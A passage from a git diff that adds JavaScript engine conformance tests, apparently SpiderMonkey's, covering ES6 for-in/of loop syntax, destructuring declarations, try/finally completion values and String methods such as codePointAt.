+ "|for (x => 0 in 1;;) break;| must be a syntax error per ES6, not an " +
+ "elaborate nop";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Function("for (x => 0 in 1;;) break;");
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/browser.js b/js/src/tests/ecma_6/Statements/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/browser.js
diff --git a/js/src/tests/ecma_6/Statements/for-in-with-declaration.js b/js/src/tests/ecma_6/Statements/for-in-with-declaration.js
new file mode 100644
index 000000000..13c71b19c
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-in-with-declaration.js
@@ -0,0 +1,31 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-declaration.js";
+var BUGNUMBER = 1163851;
+var summary =
+ "Declarations in for-in loop heads must not contain |in|-expression " +
+ "initializers";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsInstanceOf(() => Function("for (var x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (var x, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (var x = 5, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (const x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (const x = 5, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x = 2, y = 3 in {}; ; ) break;"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/for-in-with-destructuring-assignments.js b/js/src/tests/ecma_6/Statements/for-in-with-destructuring-assignments.js
new file mode 100644
index 000000000..6741c885e
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-in-with-destructuring-assignments.js
@@ -0,0 +1,130 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-in-with-destructuring-assignments.js";
+var BUGNUMBER = 1164741;
+var summary = "|for (var <pat> = ... in ...)| is invalid syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This is a total grab-bag of junk originally in tests changed when this
+// syntax was removed. Avert your eyes!
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [x] = x>>x in [[]<[]])
+ {
+ [];
+ }`),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(function() {
+ // Abandon all hope, ye who try to read this.
+ eval(`
+ (function () {
+ for
+ (var [x] = function(){}
+ in
+ (function m(a) {
+ if (a < 1) {
+ x;
+ return;
+ }
+ return m(a - 1) + m(a - 2);
+ })(7)(eval(""))
+ )
+ {
+ [];
+ }
+ })
+ `)();
+}, SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [e] = [] in (eval("for (b = 0; b < 6; ++b) gc()"))) {}
+`), SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [ v , c ] = 0 in undefined) { }"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("var b = e; for (var [e] = b in w) c"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var {a: []} = 2 in []) { }"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`try
+ {
+ for (var [,{y}] = 1 in []) {}
+ }
+ catch(ex)
+ {
+ }`),
+SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [x] = [] in null);"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [x] = x in y) var x;"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [arguments] = ({ get y(){} }) in y ) (x);
+`),
+SyntaxError);
+
+/******************************************************************************/
+
+if (typeof evalcx == 'function') {
+ var src = 'try {\n' +
+ ' for (var [e] = /x/ in d) {\n' +
+ ' (function () {});\n' +
+ ' }\n' +
+ '} catch (e) {}\n' +
+ 'try {\n' +
+ ' let(x = Object.freeze(this, /x/))\n' +
+ ' e = {}.toString\n' +
+ ' function y() {}\n' +
+ '} catch (e) {}';
+
+ try
+ {
+ evalcx(src);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e.name === "SyntaxError", true,
+ "expected invalid syntax, got " + e);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/for-inof-coverinitname-destr-assign.js b/js/src/tests/ecma_6/Statements/for-inof-coverinitname-destr-assign.js
new file mode 100644
index 000000000..ba9e40959
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-inof-coverinitname-destr-assign.js
@@ -0,0 +1,55 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const defaultValue = "default-value";
+const unreachable = () => { throw "unreachable"; };
+
+// for-in statement, object destructuring.
+var forIn;
+for ({forIn = defaultValue} in {"": null});
+assertEq(forIn, defaultValue);
+
+forIn = undefined;
+String.prototype.forIn = defaultValue;
+for ({forIn = unreachable()} in {"": null});
+delete String.prototype.forIn;
+assertEq(forIn, defaultValue);
+
+// for-in statement, array destructuring.
+forIn = undefined;
+for ([forIn = defaultValue] in {"": null});
+assertEq(forIn, defaultValue);
+
+forIn = undefined;
+for ([forIn = unreachable()] in {"ABC": null});
+assertEq(forIn, "A");
+
+
+// for-of statement, object destructuring.
+var forOf;
+for ({forOf = defaultValue} of [{}]);
+assertEq(forOf, defaultValue);
+
+forOf = undefined;
+for ({forOf = unreachable()} of [{forOf: defaultValue}]);
+assertEq(forOf, defaultValue);
+
+// for-of statement, array destructuring.
+forOf = undefined;
+for ([forOf = defaultValue] of [[]]);
+assertEq(forOf, defaultValue);
+
+forOf = undefined;
+for ([forOf = unreachable()] of [[defaultValue]]);
+assertEq(forOf, defaultValue);
+
+
+// for-statement, object destructuring.
+assertThrowsInstanceOf(() => eval(`
+ for ({invalid = 0};;);
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Statements/for-inof-loop-const-declaration.js b/js/src/tests/ecma_6/Statements/for-inof-loop-const-declaration.js
new file mode 100644
index 000000000..e8daa343b
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-inof-loop-const-declaration.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-inof-loop-const-declaration.js";
+var BUGNUMBER = 1278150;
+var summary = "Support const declarations in for-of loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+
+count = 0;
+for (const x in "abcdef")
+{
+ assertEq(x, "" + count++);
+
+ try
+ {
+ x = 3;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const x of "012345")
+{
+ assertEq(x, "" + count++);
+
+ try
+ {
+ x = 3;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const { length, 0: c } in "abcdef")
+{
+ assertEq(length, 1);
+ assertEq(c, "" + count++);
+
+
+ try
+ {
+ length = 1;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const { length, 0: c } of "012345")
+{
+ assertEq(length, 1);
+ assertEq(c, "" + count++);
+
+ try
+ {
+ c = 42;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/for-inof-name-iteration-expression-contains-index-string.js b/js/src/tests/ecma_6/Statements/for-inof-name-iteration-expression-contains-index-string.js
new file mode 100644
index 000000000..212b34db9
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-inof-name-iteration-expression-contains-index-string.js
@@ -0,0 +1,43 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-inof-name-iteration-expression-contains-index-string.js";
+var BUGNUMBER = 1235640;
+var summary =
+ "Don't assert parsing a for-in/of loop whose target is a name, where the " +
+ "expression being iterated over contains a string containing an index";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function f()
+{
+ var x;
+ for (x in "9")
+ continue;
+ assertEq(x, "0");
+}
+
+f();
+
+function g()
+{
+ "use strict";
+ var x = "unset";
+ for (x in arguments)
+ continue;
+ assertEq(x, "unset");
+}
+
+g();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/for-loop-declaration-contains-computed-name.js b/js/src/tests/ecma_6/Statements/for-loop-declaration-contains-computed-name.js
new file mode 100644
index 000000000..7928d049d
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-loop-declaration-contains-computed-name.js
@@ -0,0 +1,48 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-declaration-contains-computed-name.js";
+var BUGNUMBER = 1233767;
+var summary =
+ "Support computed property names in destructuring declarations in " +
+ "for-in/of loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+
+count = 0;
+for (var { [5]: x, [x]: y } of [{ 5: 42, 42: "hi" }, { 5: 17, 17: 'fnord' }])
+{
+ if (count === 0) {
+ assertEq(x, 42);
+ assertEq(y, "hi");
+ } else {
+ assertEq(x, 17);
+ assertEq(y, "fnord");
+ }
+
+ count++;
+}
+
+count = 0;
+for (var { length: x, [x - 1]: y } in "foo")
+{
+ assertEq(x, 1);
+ assertEq("" + count, y);
+
+ count++;
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/for-loop-declaration-contains-initializer.js b/js/src/tests/ecma_6/Statements/for-loop-declaration-contains-initializer.js
new file mode 100644
index 000000000..7010c9eba
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-loop-declaration-contains-initializer.js
@@ -0,0 +1,50 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-declaration-contains-computed-name.js";
+var BUGNUMBER = 1233767;
+var summary =
+ "Support initializer defaults in destructuring declarations in for-in/of " +
+ "loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+var expr;
+
+expr = [{ z: 42, 42: "hi" }, { 7: 'fnord' }];
+count = 0;
+for (var { z: x = 7, [x]: y = 3 } of expr)
+{
+ if (count === 0) {
+ assertEq(x, 42);
+ assertEq(y, "hi");
+ } else {
+ assertEq(x, 7);
+ assertEq(y, "fnord");
+ }
+
+ count++;
+}
+
+count = 0;
+for (var { length: x, [x - 1 + count]: y = "psych" } in "foo")
+{
+ assertEq(x, 1);
+ assertEq(y, count === 0 ? "0" : "psych");
+
+ count++;
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/for-of-iterator-primitive.js b/js/src/tests/ecma_6/Statements/for-of-iterator-primitive.js
new file mode 100644
index 000000000..6d69a1282
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-of-iterator-primitive.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ for (let x of obj) {
+ }
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Statements/for-of-var-with-initializer.js b/js/src/tests/ecma_6/Statements/for-of-var-with-initializer.js
new file mode 100644
index 000000000..ae42e153b
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/for-of-var-with-initializer.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-of-var-with-initializer.js";
+var BUGNUMBER = 1164741;
+var summary = "Don't assert parsing |for (var x = 3 of 42);|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Function("for (var x = 3 of 42);");
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/if-constant-folding.js b/js/src/tests/ecma_6/Statements/if-constant-folding.js
new file mode 100644
index 000000000..0486ad56f
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/if-constant-folding.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "if-constant-folding.js";
+var BUGNUMBER = 1183400;
+var summary =
+ "Don't crash constant-folding an |if| governed by a truthy constant, whose " +
+ "alternative statement is another |if|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Perform |if| constant folding correctly when the condition is constantly
+// truthy and the alternative statement is another |if|.
+if (true)
+{
+ assertEq(true, true, "sanity");
+}
+else if (42)
+{
+ assertEq(false, true, "not reached");
+ assertEq(true, false, "also not reached");
+}
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/property-reference-self-assignment.js b/js/src/tests/ecma_6/Statements/property-reference-self-assignment.js
new file mode 100644
index 000000000..81c95b9cf
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/property-reference-self-assignment.js
@@ -0,0 +1,38 @@
+var hits = 0;
+
+var p = { toString() { hits++; return "prop" } };
+var obj = { foo: 1 };
+
+
+var ops = [["obj[p]++", 2],
+ ["++obj[p]", 2],
+ ["--obj[p]", 0],
+ ["obj[p]--", 0],
+ ["obj[p] += 2", 3],
+ ["obj[p] -= 2", -1],
+ ["obj[p] *= 2", 2],
+ ["obj[p] /= 2", 0.5],
+ ["obj[p] %= 2", 1],
+ ["obj[p] >>>= 2", 0],
+ ["obj[p] >>= 2", 0],
+ ["obj[p] <<= 2", 4],
+ ["obj[p] |= 2", 3],
+ ["obj[p] ^= 2", 3],
+ ["obj[p] &= 2", 0]];
+
+var testHits = 0;
+for (let op of ops) {
+ // Seed the value for each test.
+ obj.prop = 1;
+
+ // Do the operation.
+ eval(op[0]);
+ assertEq(obj.prop, op[1]);
+
+ // We should always call toString once, for each operation.
+ testHits++;
+ assertEq(hits, testHits);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Statements/shell.js b/js/src/tests/ecma_6/Statements/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/shell.js
diff --git a/js/src/tests/ecma_6/Statements/try-completion.js b/js/src/tests/ecma_6/Statements/try-completion.js
new file mode 100644
index 000000000..f9bd1e149
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/try-completion.js
@@ -0,0 +1,482 @@
+var BUGNUMBER = 819125;
+var summary = "try block should return try value if finally returned normally";
+
+print(BUGNUMBER + ": " + summary);
+
+function expectTryValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'try');
+}
+
+function expectCatchValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'catch');
+}
+
+function expectFinallyValue(code, isUndefined) {
+ assertEq(eval(code), isUndefined ? undefined : 'finally');
+}
+
+// ==== finally: normal ====
+
+// try: normal
+// finally: normal
+expectTryValue(`
+try {
+ 'try';
+} finally {
+ 'finally';
+}
+`);
+
+// try: normal without value
+// finally: normal
+expectTryValue(`
+try {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: break
+// finally: normal
+expectTryValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`);
+
+// try: break without value
+// finally: normal
+expectTryValue(`
+while (true) {
+ try {
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`, true);
+
+// try: continue
+// finally: normal
+expectTryValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`);
+
+// try: continue without value
+// finally: normal
+expectTryValue(`
+do {
+ try {
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`, true);
+
+// try: throw
+// catch: normal
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+} finally {
+ 'finally';
+}
+`);
+
+// try: throw
+// catch: normal
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+} finally {
+ 'finally';
+}
+`);
+
+// try: throw
+// catch: normal without value
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: throw
+// catch: normal without value
+// finally: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+} finally {
+ 'finally';
+}
+`, true);
+
+// try: throw
+// catch: break
+// finally: normal
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`);
+
+// try: throw
+// catch: break without value
+// finally: normal
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ break;
+ } finally {
+ 'finally';
+ }
+}
+`, true);
+
+// try: throw
+// catch: continue
+// finally: normal
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`);
+
+// try: throw
+// catch: continue without value
+// finally: normal
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ continue;
+ } finally {
+ 'finally';
+ }
+} while (false);
+`, true);
+
+// ==== finally: break ====
+
+// try: normal
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`);
+
+// try: normal
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// try: break
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`);
+
+// try: break
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ break;
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// try: continue
+// finally: break
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ break;
+ }
+} while (false);
+`);
+
+// try: continue
+// finally: break without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ break;
+ }
+} while (false);
+`, true);
+
+// try: throw
+// catch: normal
+// finally: break
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ } finally {
+ 'finally';
+ break;
+ }
+}
+`, false);
+
+// try: throw
+// catch: normal
+// finally: break without value
+expectFinallyValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ } finally {
+ break;
+ }
+}
+`, true);
+
+// ==== finally: continue ====
+
+// try: normal
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: normal
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// try: break
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ break;
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: break
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ break;
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// try: continue
+// finally: continue
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ 'finally';
+ continue;
+ }
+} while (false);
+`);
+
+// try: continue
+// finally: continue without value
+expectFinallyValue(`
+do {
+ try {
+ 'try';
+ continue;
+ } finally {
+ continue;
+ }
+} while (false);
+`, true);
+
+// ==== without finally ====
+
+// try: throw
+// catch: normal
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+ 'catch';
+}
+`);
+
+// try: throw
+// catch: normal without value
+expectCatchValue(`
+try {
+ 'try';
+ throw 'exception';
+} catch (e) {
+}
+`, true);
+
+// try: throw
+// catch: break
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ break;
+ }
+}
+`);
+
+// try: throw
+// catch: break without value
+expectCatchValue(`
+while (true) {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ break;
+ }
+}
+`, true);
+
+// try: throw
+// catch: continue
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ 'catch';
+ continue;
+ }
+} while (false);
+`);
+
+// try: throw
+// catch: continue without value
+expectCatchValue(`
+do {
+ try {
+ 'try';
+ throw 'exception';
+ } catch (e) {
+ continue;
+ }
+} while (false);
+`, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/AdvanceStringIndex.js b/js/src/tests/ecma_6/String/AdvanceStringIndex.js
new file mode 100644
index 000000000..fc4046603
--- /dev/null
+++ b/js/src/tests/ecma_6/String/AdvanceStringIndex.js
@@ -0,0 +1,43 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- AdvanceStringIndex in global match and replace.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== String.prototype.match ====
+
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uD83D|X|/gu),
+ ["", "", "X", "", ""]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uDC38|X|/gu),
+ ["", "", "X", "", ""]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".match(/\uD83D\uDC38|X|/gu),
+ ["\uD83D\uDC38", "", "X", "", ""]);
+
+// ==== String.prototype.replace ====
+
+// empty string replacement (optimized)
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D|X|/gu, ""),
+ "\uD83D\uDC38\uD83D\uDC39\uD83D\uDC3A");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uDC38|X|/gu, ""),
+ "\uD83D\uDC38\uD83D\uDC39\uD83D\uDC3A");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D\uDC38|X|/gu, ""),
+ "\uD83D\uDC39\uD83D\uDC3A");
+
+// non-empty string replacement
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D|X|/gu, "x"),
+ "x\uD83D\uDC38x\uD83D\uDC39xx\uD83D\uDC3Ax");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uDC38|X|/gu, "x"),
+ "x\uD83D\uDC38x\uD83D\uDC39xx\uD83D\uDC3Ax");
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".replace(/\uD83D\uDC38|X|/gu, "x"),
+ "xx\uD83D\uDC39xx\uD83D\uDC3Ax");
+
+// ==== String.prototype.split ====
+
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uD83D|X|/u),
+ ["\uD83D\uDC38", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uDC38|X|/u),
+ ["\uD83D\uDC38", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+assertEqArray("\uD83D\uDC38\uD83D\uDC39X\uD83D\uDC3A".split(/\uD83D\uDC38|X|/u),
+ ["", "\uD83D\uDC39", "\uD83D\uDC3A"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/IsRegExp.js b/js/src/tests/ecma_6/String/IsRegExp.js
new file mode 100644
index 000000000..f8f4d3fb1
--- /dev/null
+++ b/js/src/tests/ecma_6/String/IsRegExp.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1054755;
+var summary = 'String.prototype.{startsWith,endsWith,includes} should call IsRegExp.';
+
+print(BUGNUMBER + ": " + summary);
+
+for (var method of ["startsWith", "endsWith", "includes"]) {
+ for (var re of [/foo/, new RegExp()]) {
+ assertThrowsInstanceOf(() => "foo"[method](re), TypeError);
+
+ re[Symbol.match] = false;
+ "foo"[method](re);
+ }
+
+ for (var v1 of [true, 1, "bar", [], {}, Symbol.iterator]) {
+ assertThrowsInstanceOf(() => "foo"[method]({ [Symbol.match]: v1 }), TypeError);
+ }
+
+ for (var v2 of [false, 0, undefined, ""]) {
+ "foo"[method]({ [Symbol.match]: v2 });
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/browser.js b/js/src/tests/ecma_6/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/String/browser.js
diff --git a/js/src/tests/ecma_6/String/codePointAt.js b/js/src/tests/ecma_6/String/codePointAt.js
new file mode 100644
index 000000000..5b1496939
--- /dev/null
+++ b/js/src/tests/ecma_6/String/codePointAt.js
@@ -0,0 +1,84 @@
+var BUGNUMBER = 918879;
+var summary = 'String.prototype.codePointAt';
+
+print(BUGNUMBER + ": " + summary);
+
+// Tests taken from:
+// https://github.com/mathiasbynens/String.prototype.codePointAt/blob/master/tests/tests.js
+assertEq(String.prototype.codePointAt.length, 1);
+assertEq(String.prototype.propertyIsEnumerable('codePointAt'), false);
+
+// String that starts with a BMP symbol
+assertEq('abc\uD834\uDF06def'.codePointAt(''), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt('_'), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(-Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(-1), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(-0), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(0), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(3), 0x1D306);
+assertEq('abc\uD834\uDF06def'.codePointAt(4), 0xDF06);
+assertEq('abc\uD834\uDF06def'.codePointAt(5), 0x64);
+assertEq('abc\uD834\uDF06def'.codePointAt(42), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(Infinity), undefined);
+assertEq('abc\uD834\uDF06def'.codePointAt(NaN), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(false), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(null), 0x61);
+assertEq('abc\uD834\uDF06def'.codePointAt(undefined), 0x61);
+
+// String that starts with an astral symbol
